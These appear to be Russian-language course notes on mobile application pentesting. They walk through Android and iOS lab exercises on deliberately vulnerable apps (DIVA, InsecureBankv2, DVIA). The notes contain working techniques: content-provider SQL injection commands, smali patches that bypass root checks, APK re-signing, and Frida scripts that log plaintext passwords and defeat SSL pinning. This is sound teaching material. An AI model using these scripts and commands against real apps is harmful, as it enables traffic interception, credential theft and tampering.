owned this note
owned this note
Published
Linked with GitHub
# Mobile Application Security Analysis / Анализ защищенности мобильных приложений
Преподаватель : Игорь Кривонос
# Занятие 1. Введение в ОС Android
Среда, 14 сентября 2022 г. с 19:00 до 22:00 (МСК)
Изучение Android OS и инструментов для работы с ней
https://developer.android.com/studio/run/managing-avds
ldplayer - эмулятор для винды

**jailbreak** версии
https://canijailbreak.com
brew install adb
adb devices - показывает устройства в терминале линукс


переходим в эту папку

Library/Android/sdk/platform-tools/
Домашка - чтобы adb запускалась ото всюду
Google - how to add directory to path on mac
adb shell / ./adb shell


https://github.com/skylot/jadx/releases/tag/v1.4.4
Утилита для реверса и тд

jadx & adb - закинуть в переменную среды



Приложения пишутся на джаве и ките.
classes.dex - читать можно но сложно, его можно декомпилировать в smali код и пропачить его.
Открыли classes.dex в смали код - пропатчили и обратно сохранили.
dex file - появляется при сборке мобильных приложений

ctrl + функция ---> открывает функцию
Самый важный файл в андроиде -
AndroidManifest - показывает какие разрешения у приложения будет. Тут пишутся правила и разрешения длля смс, геопозиция и все остальные функции.
Андроид приложения состоят из компонентов, они должны быть в андроид манифесте.
По манифесту - можно посмотреть места, и понять где можно тыкать и как взламывать.
![Uploading file..._b2mx6n5iu]()
resources

можно бинарник положить в lib и взломать приложения, потому что приложение будет обращаться к этому файлу.
Мобильные приложения написаны не только на джаве и котлин.
Сишный скомпилированный код читается сложнее и взламывается тоже сложнее.
Имя приложения на домашнем экране/ для системы

каждое приложение - отдельный пользователь, который ничего не может, за пределами своей домашней папки

data/data/package_id - рабочая директория приложений
![Uploading file..._glfmh85yt]()
папка нашего приложения - sendbox,

можно прочитать в базе данных

вытаскиваем приложение с устройства, неважно как она туда попала
pm- packet manager
pm list packages - все установленные приложения
pm list packages | grep .top10 поиск приложения

- pm path com.grooming.mtop10 - покажет путь установки приложения
/data/app/com.grooming.mtop10-5LLZ1N2_2Oexov6Ig45fAg==/base.apk
adb root - старт от рута
![Uploading file..._emojwy4c2]()
./adb pull /data/app/com.grooming.mtop10-5LLZ1N2_2Oexov6Ig45fAg==/base.apk
![Uploading file..._ib1qdndma]()
![Uploading file..._uphvpa02b]()
adb root - стартует устройство от рута
```
Скопировать любой файл с устройства на систему:
Переходим в папку куда нужно скопировать, открываем терминал, запускаем adb root
Далее:
adb pull /data/app/com.grooming.mtop10-ZPP6uNlzJIOlQgFUgbOmIg==/base.apk
```
Теперь исследуем этот файл, открываем джадиксом.
- adb push - закидывает на устройство
![Uploading file..._jmhit2f05]()
![Uploading file..._4gy5tsghh]()
- adb logcat приложение пишет информацию в лог на устройстве
![Uploading file..._qrwwwaz1u]()
adb logcat | grep mtop10
![Uploading file..._mvufd7jlx]()
## Компоненты приложения Android
![Uploading file..._thk0qjr9m]()
![Uploading file..._w6o6ze2vb]()
Из чего состоит приложение?
- Activity ( активность) - то что видит и с чем взаимодействует пользователь (форма или экран)
- Service (служба) -
- BroadcastReceiver ( приемник широковещ сообщений)
- ContentProvider
![Uploading file..._7a670ev1l]()
![Uploading file..._i6kph4j46]()
Activity - содержит элементы интерфейса (кнопки, переключатели, текст, картинки и тп.)
![Uploading file..._eohaz6p3r]()
- Все активности объявляются в манифесте
- Некоторые активности могут иметь категорию launcher - тогда их значок появляется на домашнем экране
- Активность может запустить из другого приложения, если она экспортируемая или содержит подходящий интент-фильтр
- Активности могут передавать друг другу данные
- Активность может быть запущена для того, чтобы вернуть некоторые данные
# Занятие 2.Работа с Android OS и пакетами APK
Пятница, 16 сентября 2022 г. с 19:00 до 22:00 (МСК)
Практическая работа с Android окружением, пакетам APK и извлечением исходного кода.
Когда у активности есть exported=true , можно с другого приложения запустить. Механизм взаимодействия приложения.
Во время запуска мы можем еще передать данные - например картинки
ДЗ:Джадикс и адб - запуск отовсюду


В файл манифест - в **первую очередь смотрит пентестер**


intent-filter - до 30 апи - может запустить, а после 30 гугл уже пофиксили это.
Если компонент экспортирован, то другое приложение может запустить это приложение. Одно приложение отправляет интент.
Экспортированнфй компонент от неэкспортированного отличается -

Запустить нельзя стороннему приложению , без прав рут.
**exported=false**
**exported=true** другое приложение может запустить

Из публично - доступного можно извлечь данные
С 30 апи гугл внес изменения и запретил.
Если не указан exported - значит фолс.
Компонент - все компоненты андроид.
В старых приложениях до 30 апи - то вот так выглядит intent-filter

Start exported activity - в приложении

Чтобы запустить другую активность - создается intent. В нем указывается имя компонента.
Потом в интент кладут доп данные.
StartActivity - запуск.
В виде пар ключ и значение можно положить 

Можем запустить извне
Запускаем из консоли
am start -n (name)
- am start -n com.grooming.mtop10/.ExportedActivity
полное имя - пакейдж.имя класса

Запустили програму из консоли
Из приложения отображало параметры, а из консоли нет
в интент записываем параметры
--es / -e - строковый параметр
-z - булевое значение
-d - дата

- am start -n com.grooming.mtop10/.ExportedActivity --es p1 "saxaxscc dca" --es p2 dscdscs
- am start -n com.grooming.mtop10/.ExportedActivity -e p1 "U r hacked" --es p2 hahaha

Вернуть данные - запустить с другого приложения
Запуск активности из адб по его имени.

**Жизненный цикл activity**

onCreate - чаще всего тут происходит инициализация объектов. НАм интересен этот метод.
onStop - убивает активность.
Запуск/перезапуск компонента достаточно "дорогостоящий процесс"
## Фрагменты


небольшой код активности
https://developer.android.com/jetpack/compose
## Сервисы


В андроид можно устроить взаимодействие


Явный интент - явно указываем компонент, который запускаем
Можем указать действие - и откликнуться может кто угодно. 
В системе регистрируется компонент с интент-фильтром.

По системе пробросится интент с экшен. Интент может быть явный и неявный.
**Запуск приложения неявным интентом**
-а - зaпуск по экшн

- am start -a MY_ACTION2 --es p1 "u are hacked" --es p2 hahaha

Если создать еще приложение с таким же интентом -- то другое приложение сможет поймать эти данные и привести их в другое приложение
Приложение делает action.pig/pic? и открывает
и отдает сслыку на файл
В неявный интент - нельзя класть чувствительные данные.
## Механизм намерений Intents


проверяется права - может ли запустить.
ПРиложение 1 запустило приложение 2.

Может содержать данные и сложные значения.

## Приемники широковещательных сообщений - broadcast receiver (большое ухо)


Чтобы бродкаст ресивер сработал - указать явный интент, 2 вариант указать неявный интент

Явный интент
- am broadcast -n com.grooming.mtop10/.MyReceiver
Неявный интент (она не сработает) - в современном андроиде нельзя использовать неявные интенты
- am broadcast -a com.example.action.MY_ACTION1 -d "my secret"

register receiver - динамический ресивер
## Сontent Providers - поставщики содержимого



URI - наличие схемы производности
content://адрес(имя)
Общение к бд - через контент провайдер

query - запрос к бд

query возвращается в объект Cursor
delete
insert
update
Как понять - строение запроса. Для пентестера.

Matcher - сравниваем ЮРАЙ который пришел с тем, сопоставлят АUTHORITY c некоторой константой. Удобный механизм, чтобы не запутаться.


Любым строковым методом можно распарсить ЮРАЙ



в последнем запросе есть скуля
content query --uri content://com.grooming.mtop10.provider.mycontentprovider/users
content query --uri content://com.grooming.mtop10.provider.mycontentprovider/users/1
content query --uri content://com.grooming.mtop10.provider.mycontentprovider/users/names/vasya2

**SQL-injection** content provider
Получаем инфу конкретного пользователя.
content query --uri content://com.grooming.mtop10.provider.mycontentprovider/users/ --projection "* FROM users WHERE name='Ira2';--"



--projection "* FROM users2;--" - достали данные из таблицы users2
content query --uri content://com.grooming.mtop10.provider.mycontentprovider/users/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
получили инфу обо всех таблицах

# 3 занятие

Так как мы пентестеры то будем писать на джаве

название проекта com.csr8.app


Разметки нашей активности

Палитра компонентов

Привязки


@+id - айди компонента
ed_username

Refactor - автоматически айди везде меняется
hint


Минимум 1 привязка по вертикали и 1 по горизонтали
код layout activity main
`
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
tools:context=".MainActivity">
<TextView
android:id="@+id/textView2"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginTop="32dp"
android:text="Hello World!"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toTopOf="parent" />
<EditText
android:id="@+id/ed_username"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:ems="10"
android:hint="user name"
android:inputType="textPersonName"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toBottomOf="@+id/textView2" />
<Button
android:id="@+id/btn_ok"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="OK"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toBottomOf="@+id/ed_username" />
</androidx.constraintlayout.widget.ConstraintLayout>
`

alt+enter - студия предлагает импортировать или другие варианты

button класс и название баттон
Button button = findViewById(R.id.btn_ok);
`button.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
}
});`



Intent intent = new Intent(MainActivity.this,GameActivity.class)











Создаем фрагменты



# 4 lesson
если есть new instance - то фрагмент будет создаваться через него.




ОТсылка к cтроковым ресурсам


создали сохранялку - находится в /data/data/com.csr8.app/shared_prefs
Подписи приложения и дистрибуция







А вот и приложение
https://ibotpeaches.github.io/Apktool/install/

./apktool d csr8.apk - разобрать приложение (что-то в ней изменили)
./apktool b csr8 -o hacked.apk - собрать

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore key.store hacked.apk key0
- подписываем приложение
keytool -genkey -v -keystore <hacker.keystore> -alias <myalias > -keyalg RSA -keysize 2048 -validity 10000
**cheats**

**APKlab** расширение для VScode

меняем название


под капотом работает APK tool

# Занятие 5. Типовые уязвимости мобильных приложений Android
Четверг, 29 сентября 2022 г. с 19:00 до 22:00 (МСК)
Разбор типовых уязвимостей мобильных приложений и поиск их в приложении diva-beta.apk
1.открыть с помощью апкЛаб приложение csr8.apk
2. запустить эмулятор

Словарик для подсветки смали кода в саблайм
https://github.com/QuinnWilton/sublime-smali
## SMali


V,Z,I,[ (целочисленный массив) - простые типы
L - cложные типы
**простые регистры**

**параметровые регистры**

Когда мы вызываем метод у объекта - мы вызываем метод у класса.
В джаве при вызове объекта - передается сначала ссылка на объект

p0 - ссылка на объект, внутри которого мы находимся, лежит наша активность

прибавили 1 в регистр v0 и записали в левый регистр v0

а так прибавили 3
v0 (1) место, v0 (2) это с чем складываем

0ха - 10 в 16 ричной системе
if-ge больше чем v1, то прыгаем в cond_0
**op cod**

.line34 - комментарий,имеет отношение к коду


передается {parametr}
Вызываем метод Аppend с параметром v1, v0- ссылка на объект

В регистр v1 заносим очки (I - целочисленное значение)

Кавычка + число = строка

more-result-object v0 теперь лежат очки польз в строковом представлении
Это смали код данной функции - прибавление очков

Пересобрали приложение, теперь прибавляет по 3
Хакеру надо обходить ветвления

В результате этого ветвления вася проигрывает

идентификатор ресурса нашей разметки


число используется для удобства - в файлике R.java
Обычно нас интересуют строковые, целочисленные ресурсы
Ищем место в коде, где вася проигрывает

Результат сравнения помещается в регистр p3

Если результат не 0

переворачиваем условие



проверка на рут - ветвление, где проверяется значение чек рут, там меняем метод / либо возвращаемое значение

принудительно в р3 засунули регистр

теперь все побеждают
Делаем чтобы вася и админ побеждал
Для этого надо переписать код
Делать акккуратно, потому что регистры перезатираются


На сстарте производит проверку
cond_0: это переход
**Проверка целостности рут**
https://github.com/scottyab/rootbeer


**busybox** показывает наличие рут в программе

1 - обозначает что на данном приложении любое приложение можно дебажить
**getprop** - параметры устройства
getprop | grep ro.debug - посмотреть эти свойства, можно понять что мы работаем на эмуляторе


проверка на рут
Находит где осуществляет проверку на рут. Если есть файлик su - проверка рута.

Проверка целостности приложения

Сравниваем хэш сертификата
Можно получить хэш сертификата одной командой
Обходим проверку на рут


setVisibility(8)- она невидима, 0 - видимо




Меняем возвращаемое значение метода на фолс

Надо удалять приложение, если оно подписано другим ключом.





# **DZ Reverse task**

ПРиложение сожержит функц от 1 акт до 5.
Наша задача - включить элементы, чтобы нажатие переходило к след активности/ кнопки срабатывали
Перед 1 активностью - отключить рекламу
1 подсказка

Удаляем или меняем на visible

Придумать способ отключить рекламу
**1 task**
Меняем invisible на visible и кнопка ОК появилась



Отключаем рекламу
on 1 task

**2 task** - удалить рекламу



меняем номер активности. Смотрим его в R.java



Но этот вариант немного неверный - мы просто перепрыгнули
А вот еще вариант решения
if-eqz меняем на if-nez

Так же вариант решения


И 3 вариант решения - удалили константу

**3 таск**
Поменяли путь проверки рута


поменяли 0х8 на 0х0 - появилась кнопка


**4 task**
Проявили текст и кнопку - поменяли цвет бекграунда и кнопки.


Видим в джадикс в 4 активности что он передает какой то текст и переходит на 5 активность

В 5 активности видим что он передает, это и вписываем в xml 5 активности.


Приложение пройдено

# Занятие 6. Типовые уязвимости мобильных приложений Android 2
Вторник, 04 октября 2022 г. с 19:00 до 22:00 (МСК)
Поиск уязвимостей в приложении интернет банкинга и анализ защищенности серверной части приложения
[21:01] Игорь Кривонос
file:///data/data/com.hacker.divanew/shared_prefs/com.hacker.divanew_preferences.xml
8 задание - открываем файл

@JavascriptInterface - когда есть веб вьюха


Запрещает открытие файлов из привтных и внешних директорий - защита от открытия
9 - запуск извне активности

[21:32] Игорь Кривонос
am start -a jakhar.aseem.diva.action.VIEW_CREDS
[21:32] Игорь Кривонос
am start -n com.hacker.divanew/.APICredsActivity
10
am start -a jakhar.aseem.diva.action.VIEW_CREDS2 --ez check_pin false
1 - открываем манифест и смотрим экспортируемые компоненты
11
используется контент провайдер

Доступ к публичному контент провайдеру и вытаскиванию из него данных.
(достаточно сильная уязвимость)
content query --uri content://jakhar.aseem.diva.provider.notesprovider/notes
В текстовом файле указываем дип линк и можем открыть запуск джава скрипта и тд. (Очень опасная штука) - и этот механизм есть на IOS

12/13
strings /data/app/com.hacker.divanew-TY48InwtFBybbAMFIuL8DA==/lib/arm64/libnative-lib.so

12


13

# Занятие 7. SSL-pinning и Frida-tools
Пятница, 07 октября 2022 г. с 19:00 до 22:00 (МСК)
Технологии защиты от перехвата трафика, и инструменты для обхода этих технологий

также для создания виртуального окружения можно использовать команду python -m venv ./venv в директории, где хотите создать виртуальное окружение

creds:
1|dinesh|Dinesh@123$|dinesh|shetty
2|jack|Jack@123$$|jack|apples


Уязвимости приложения
1. Hardcoded secrets
2.Developer Backdoors (найдите как разработчик может открыть аккаунт пользователя)
3. ~~Insecure HTTP connections~~
4. Insecure SDCard storage
5. Local Encryption issues
1. найдите, где в коде сохраняется логин и пароль локально (статика)
2. найдите, куда сохраняется пароль и логин пользователя (динамика).
3. дешифруйте логин и пароль, сохраненный локально. (бонус +5 очков к скиллу)
7. Vulnerable Activity Components
1. это мы проходили exported ...
2. откройте активность(и) с интересными данными
3. но там есть такая дыра... кто найдет, тому +5 к разведке
15. Insecure Webview implementation
16. Insecure Logging mechanism
17. Android Backup vulnerability
18. Application Patching (найдите что можно пропатчить, чтобы получить режим бога)
19. Flawed Broadcast Receivers (ох уж эти разрабы!)
20. Intent Sniffing and Injection (ну это мы знаем)
21. Weak Authorization mechanism
22. Root Detection and Bypass
23. Emulator Detection and Bypass
24. Insecure Content Provider access
25. Weak Cryptography implementation
26. Sensitive Information in Memory
27. Android Pasteboard vulnerability
28. Application Debuggable
29. Android keyboard cache issues
30. Runtime Manipulation
31. Parameter Manipulation
32. Username Enumeration issue
33. Weak change password implementation
has context menu
Backdore
Точка входа в приложение
Мы можем посмотреть контент
Доступ к компонентам, к которым не должно было быть доступа

Должно быть отключено - копирование чувствительных данных (пароль, номер карты)

Пароль пользователя отправится смс

**Криптография**



на выходе получается base64

здесь заходкожен ключ шифрования
можем перекопировать в андроид студио и расшифровать пароль пользователя

Надо обращать внимание куда сохраняет приложение данные

формируется файловый путь и открывается веб вью
Идея: можем все что угодно запихать в js файл и веб вью будет исполнять его


Загрузили игру
**Можем загрузить активити**

попадаем в активность с именем dinesh
без пароля можем войти в приложение
https://github.com/dineshshetty/Android-InsecureBankv2
Тут описано что и как можно сделать (уязвимости)
abe - разбирает файл бекапа
( но должна быть )
2 команды ввести и 1 утилиту скачать
# 8 Занятие. Сниффинг трафика
Можно прочитать - прикладная криптография


На публичном ключе можно зашифровать некоторые данные, на приватном ключе можно расшифровать.
Сейчас используются эфимерные ключи.
Злоумышленник может сгенерировать приватный и публичный ключ и отправить второму пользователю свои ключи - атака человек посередине
У андроида есть в системе некоторое кол-во доверенных сертификатов.
Proxy настраиваем на мобиле. Для подключения к бурпу.

Можно настроить прокси через вай-фай


вбили айпи своей машины

импортируем сертификат
установили пин 1111


Разраб может указать каким сертификатам приложение доверяет.

здесь разраб может указать хеш или название серта
Приложение может доверять тем сертам, которые указаны здесь.
Sniff trafic
https://developer.android.com/training/articles/security-config
безопасность зависит от апи устройства
Доверяет только системному серту

позволяет получить хэш сертификата на юникс
`openssopenssl x509 -in cert.pem -pubkey -noout | openssl pkey -pubin -outform der | openssl dgst -sha1 -binary | openssl enc -base64`
[22:11] Игорь Кривонос
https://apkcombo.com
⚡ APKCombo - #1 APK Downloader
Download APK for Android Game, Android App - Latest Version, Old Versions, Android Tablet, Android Smart TV, Android Wear, armeabi-v7a, arm64-v8a, x86, x86_x64 - Free
[22:11] Игорь Кривонос
https://apps.evozi.com
Evozi Apps - Landing Page
[22:12] Игорь Кривонос
https://m.apkpure.com/ru/
Загрузите APK Быстро, бесплатно и безопасно на Android.
Скачайте apk для Android с помощью APKPure APK Downloader. Узнайте, что вы хотите проще, быстрее и безопаснее.
# Занятие 9. Frida инструмент динамической
pip3 install frida-tools
https://frida.re/
frida-ps - процессы нашего компьютера
frida - режим бога в системе
инструмент позволяет делать инъекции кода
https://github.com/frida/frida/releases/tag/16.0.1
скачиваем сервер вод свою операционку
распаковали и переименовали бинарь
cкачиваем фрида сервер на устройство /data/local/tmp
shell emulator
adb push frida-server /data/local/tmp
cd /data/local/tmp
chmod +x frida-server/
./frida-server & - запустили фриду сервер
ps -e | grep frida - проверка запущен ли процесс

в домашнем терминале
frida -U --pause -f com.grooming.mtop10

ctrl + d - выйти из фриды
получаем объект класса

Меняем метод

var File=Java.use('java.io.File');
File.exists.implementation= function(){console.log('hooked file');return false;}
%resume - отпускает процесс приложения

SU - ушло, обошли рут
запускаем банк

frida -U --pause -f com.android.insecurebankv2
Java.enumerateLoadedClasses({
onMatch: function(className) {
if(className.includes("insecurebankv2")){
console.log(className);
console.log("hello from hacker....");
}
},
onComplete: function() {}
});
}
);
Java.perform(function () {
var PostLogin = Java.use('com.android.insecurebankv2.PostLogin');
var doesSUexist = PostLogin.doesSUexist;
doesSUexist.implementation = function () {
console.log('Done: spoofing method doesSUexist');
return true;
};
});
выводит в лог - пароль и его зашифрованную версию
Java.perform(function () {
var CryptoClass = Java.use('com.android.insecurebankv2.CryptoClass');
var aesEncryptedString = CryptoClass.aesEncryptedString;
aesEncryptedString.implementation = function (v) {
console.log('Done:' + v);
return v;
};
});
пример работы overLoad
TextView.setText.overload('java.lang.CharSequence').implementation=function(v){this.setText(v);console.
log("text="+v);}
код с выводом в консоль зашифрованного пароля
Java.perform(function () {
var CryptoClass = Java.use('com.android.insecurebankv2.CryptoClass');
var aesEncryptedString = CryptoClass.aesEncryptedString;
aesEncryptedString.overload('java.lang.String').implementation = function (v) {
var res = this.aesEncryptedString(v);
//send('password is ' + v);
console.log('Done raw:' + v);
console.log('Done encrypted:' + res);
return res;
};
});
java choose - позволяет джаве найти экземпляры классов
Java.perform(function () {
Java.scheduleOnMainThread(function () {
var done=false;
Java.choose("com.android.insecurebankv2.LoginActivity", {
"onMatch":function(instance){
if(!done) {
instance.createUser();
done=true;
console.log("[*] Instance found, result: ");
}
},
"onComplete":function() {
console.log("[*] Finished heap search")
}
});
});
});
название свойства.value - обращаемся к кнопочке
Java.perform(function () {
Java.scheduleOnMainThread(function () {
var done=false;
Java.choose("com.android.insecurebankv2.LoginActivity", {
"onMatch":function(instance){
if(!done) {
instance.createuser_buttons.value.setVisibility(0);
done=true;
console.log("[*] Instance found, result: ");
}
},
"onComplete":function() {
console.log("[*] Finished heap search");
}
});
});
});
adb push cacert.der /data/local/tmp/

загрузка скрипта через фриду
frida -U -f com.csy6.nopiningbuthttps -l unpin.js
```
[22:08] Игорь Кривонос
setTimeout(function(){
Java.perform(function (){
console.log("");
console.log("[.] Cert Pinning Bypass/Re-Pinning");
var CertificateFactory = Java.use("java.security.cert.CertificateFactory");
var FileInputStream = Java.use("java.io.FileInputStream");
var BufferedInputStream = Java.use("java.io.BufferedInputStream");
var X509Certificate = Java.use("java.security.cert.X509Certificate");
var KeyStore = Java.use("java.security.KeyStore");
var TrustManagerFactory = Java.use("javax.net.ssl.TrustManagerFactory");
var SSLContext = Java.use("javax.net.ssl.SSLContext");// Load CAs from an InputStream
console.log("[+] Loading our CA...")
var cf = CertificateFactory.getInstance("X.509");
try {
var fileInputStream = FileInputStream.$new("/data/local/tmp/cacert.der");
}
catch(err) {
console.log("[o] " + err);
}
var bufferedInputStream = BufferedInputStream.$new(fileInputStream);
var ca = cf.generateCertificate(bufferedInputStream);
bufferedInputStream.close();var certInfo = Java.cast(ca, X509Certificate);
console.log("[o] Our CA Info: " + certInfo.getSubjectDN());// Create a KeyStore containing our trusted CAs
console.log("[+] Creating a KeyStore for our CA...");
var keyStoreType = KeyStore.getDefaultType();
var keyStore = KeyStore.getInstance(keyStoreType);
keyStore.load(null, null);
keyStore.setCertificateEntry("ca", ca);
// Create a TrustManager that trusts the CAs in our KeyStore
console.log("[+] Creating a TrustManager that trusts the CA in our KeyStore...");
var tmfAlgorithm = TrustManagerFactory.getDefaultAlgorithm();
var tmf = TrustManagerFactory.getInstance(tmfAlgorithm);
tmf.init(keyStore);
console.log("[+] Our TrustManager is ready...");console.log("[+] Hijacking SSLContext methods now...");
console.log("[-] Waiting for the app to invoke SSLContext.init()...");
SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").implementation = function(a,b,c) {
console.log("[o] App invoked javax.net.ssl.SSLContext.init...");
SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").call(this, a, tmf.getTrustManagers(), c);
console.log("[+] SSLContext initialized with our custom TrustManager!");
}
});
},0);
```
piningencode
[22:14] Игорь Кривонос
frida -U -f com.csy6.piningincode -l unpin.js

Java.perform(function(){
var client = Java.use("com.squareup.okhttp.OkHttpClient");
client.setCertificatePinner.implementation = function(v){
return this;
};
});

# Lesson 10
Взаимолействие питона с фридой

проверка на рут - делаем рутанутым

Это необходимо для автоматизации фриды.
Пример 2
Реализовано полное управление приложением через питон.


когда обращаемся к свойству надо использовать value
rpc.exports - словарь

название питоновских функций - в нижнем регистре.
ИНструмент который автоматизирует работу с фридой.
pip3 install objection
https://github.com/sensepost/objection
Полезен для IOS
В плане мобилки - он полезен.
запуск приложения
objection -g com.grooming.mtop10 explore

для запуска objection надо запустить фрида сервер на девайсе
tab = открывает команды

путь к приложениям
android root disable - большинство в приложениях рут обманывает (препод с этого начинает)

jobs list - показывает наши хуки

задетектил
Встроенный анпининг - в коде не уберет

нападение со всех сторон на приложение
Возможность делать универсальные хуки.



подмена возвращающемого значения


Этим инструментом можно быстро проверить приложение
## **OWASP**





Если не знаешь с чего начать - идешь в MSTG

Важно перед тестированием собрать скоуп



Любое приложение должно соответствовать уроню L1
L2 - чувствительные данные





М1 самая часто встречающ уязвимость
можно запустить активность другим приложением

М2 Небезопасное храниение данных





М3 Небезопасная передача данных mitm


М4 Небезопасная аутентификация

![Uploading file..._m5l8mv1r3]()
М5 не правильная криптография

(книга брюса шнай... о криптографии)

небезопасные алгоритмы - md5 & sha1

M6 Небезопасная авторизация


М7 Плохой код


М8 Подделка кода


М9 Реверс приложений - возможность нахождения уязвимостей

М10 Скрытая функциональность

Книга - андроид глазами хакера
# Hacking Tools





frida



magisk - получаем рут а потом подключаем xposed

автоматизированный инструмент анализа - начальная точка для аналитики приложения
https://xakep.ru/2020/12/21/drozer/

Готовая линукс машина с инструментами для андроида
**Инструменты анализа**
mobsf - бесплатный - с чего начать!

платный инструмент

глубоко анализирует код, у него есть блог

# IOS 11 lesson

Jealbrake chackrain
c macos & linux
Cydia - найти OpenSSh и установить

WI-Fi

пароль alpine
Iproxy

проброс портов

linux: sudo apt install libusbmuxd-tools
macos: brew install libimobiledevice



sudo apt-get install libplist-utils
## IOS file system


C большой буквы пришло с MacOS


юзер айди приложений
ls * - id & name


-В 2 - показать 2 строчки до


файлики приложения
Нас интересует как пентестеров. - info.plist ( manifest for Ios)

можно посмотреть какие диплинки работают

plistutil -i Info.plist

Cамое интерессное - папка данных приложения




если проект с гитхаба то юудет содержать embedded.mobileprovision
самое интересное - папка с данными приложения



mobile-containers-file-application


core data- база данных / механизм для работы с БД


в механизмах ios общаться приложения друг дургом не могут- только url схема. Прилоожения общаются с помощью диплинков.
https://cutter.re/ - программа для реверса




















Для анализа нас инетерсует сегмент Текст и Дата
# lesson 12




Взаимодействие между приложениями может работать с помощю URL схем



https://www.tutorialspoint.com/compile_objective-c_online.php
`#import <Foundation/Foundation.h>
@interface Point: NSObject{
float x;
float y;
}
@property (nonatomic, readwrite) float x;
@property (nonatomic, readwrite) float y;
-(double) rvector;
@end
@implementation Point
@synthesize x;
@synthesize y;
// funciton foo(int a,int b, float c){ dddddd return }
-(id) init {
self = [super init];
x = 0;
y = 0;
return self;
}
-(double) rvector {
return x*x + y*y;
}
@end
int main (int argc, const char * argv[])
{
NSAutoreleasePool * pool = [[NSAutoreleasePool alloc] init];
NSLog (@"hello world");
Point * p1 = [[Point alloc] init];
NSLog(@"p1.x= %f", p1.x);
NSLog(@"p1.y= %f", p1.y);
[pool drain];
return 0;
}`
```
#import <Foundation/Foundation.h>
@interface Point: NSObject{
float x;
float y;
}
@property (nonatomic, readwrite) float x;
@property (nonatomic, readwrite) float y;
-(double) rvector;
@end
@implementation Point
@synthesize x;
@synthesize y;
// funciton foo(int a,int b, float c){ dddddd return }
-(id) init {
self = [super init];
x = 0;
y = 0;
return self;
}
-(id) initWithParametersX:(int)x Y:(int)y {
self = [super init];
self.x = x;
self.y = y;
return self;
}
-(double) rvector {
return x*x + y*y;
}
@end
int main (int argc, const char * argv[])
{
NSAutoreleasePool * pool = [[NSAutoreleasePool alloc] init];
NSLog (@"hello world");
Point * p1 = [[Point alloc] init];
Point * p2 = [[Point alloc] initWithParametersX:8 Y:6];
NSLog(@"p1.x= %f", p1.x);
NSLog(@"p1.y= %f", p1.y);
NSLog(@"p2.x= %f", p2.x);
NSLog(@"p2.y= %f", p2.y);
NSLog(@"p2.R= %f", [p2 rvector]);
NSLog(@"class of Point= %@", [Point getClassName]);
[pool drain];
return 0;
}
```


# lesson 13
Objective C
https://www.tutorialspoint.com/compile_assembly_online.php

в стек можно положить и вытащить( в обратной последовательности)
стек растет вниз

```
section .text
global _start ;must be declared for using gcc
_start: ;tell linker entry point
; LIFO->push() pop() 1,2,3 -> 3,2,1
mov ecx, 0x5
loop_label:
push ecx
call _f
pop ecx
loop loop_label ;автоматически проверяет и уменьшает значение на 1 в х86 процессорах
mov eax, 1 ;system call number (sys_exit)
int 0x80 ;call kernel
_f:
mov edx, len ;message length
mov ecx, msg ;message to write
mov ebx, 1 ;file descriptor (stdout)
mov eax, 4 ;system call number (sys_write)
int 0x80 ;call kernel
ret
section .data
msg db 'Hello, world!',0xa ;our dear string
len equ $ - msg ;length of our dear string
```
```
section .text
global _start ;must be declared for using gcc
_start: ;tell linker entry point
call _f
mov eax, 1 ;system call number (sys_exit)
int 0x80 ;call kernel _f:
mov ecx, 0x5
loop_label:
push ecx ; i = ecx
mov edx, len ;message length
mov ecx, msg ;message to write
mov ebx, 1 ;file descriptor (stdout)
mov eax, 4 ;system call number (sys_write)
int 0x80 ;call kernel
pop ecx ; ecx = i
loop loop_label
ret
section .data msg db 'Hello, world!',0xa ;our dear string
len equ $ - msg ;length of our dear string
```
```
section .text
global _start ;must be declared for using gcc
_start: ;tell linker entry point
mov ecx, 0x5
push ecx
call _f
mov eax, 1 ;system call number (sys_exit)
int 0x80 ;call kernel
_f:
mov ecx, [esp + 4]
loop_label:
push ecx ; i = ecx
mov edx, len ;message length
mov ecx, msg ;message to write
mov ebx, 1 ;file descriptor (stdout)
mov eax, 4 ;system call number (sys_write)
int 0x80 ;call kernel
pop ecx ; ecx = i
loop loop_label
ret
section .data
msg db 'Hello, world!',0xa ;our dear string
len equ $ - msg ;length of our dear string
```
**lldb** debuger
apt install lldb



https://lldb.llvm.org/


attach и номер процесса
с - алиас для continue

Исследование - брекпоинт



обходим проверку
когда видим cbz - z это булево значение/ значит будет проверка

Нам нужно в этот адрес внести поправку для брейкпоинта


Начало нашего кода программы

смещение которое должны добавить в адресе
Брекпоинт


[20:57] Игорь Кривонос
br set -a 0x100004578+

register read - показывает все регистры нашего процесса


смотрим 24 регистр

меняем на 1
отпускаем процесс


В айос есть антиотладка -

Код для вырубания приложения - если приложение аттачат
ptrace 0x1f - константа
https://habr.com/ru/post/513944/
















hardware - uuid сертификкат для каждой модели
secure boot - чип, который нельзя обновить . Чекрейн делается через него. Стартует ядро и проверяет было ли оно изменено









# 14 lesson
https://www.securitylab.ru/contest/429973.php


Приложение работает в виртуальной памяти

















ssh root@192.168.1.8 - alpine (пароль)
Приложение DviaV2
https://github.com/prateek147/DVIA-v2/tree/master/DVIA-v2/DVIA-v2/Vulnerabilities
подключение по iproxy

Закидываем dVIA на устройство через scp
ls */Library/Preferences | grep -i dvia -B 2


Устанавливаем фриду на телефон
build.frida.re

откроем приложение через **objection**
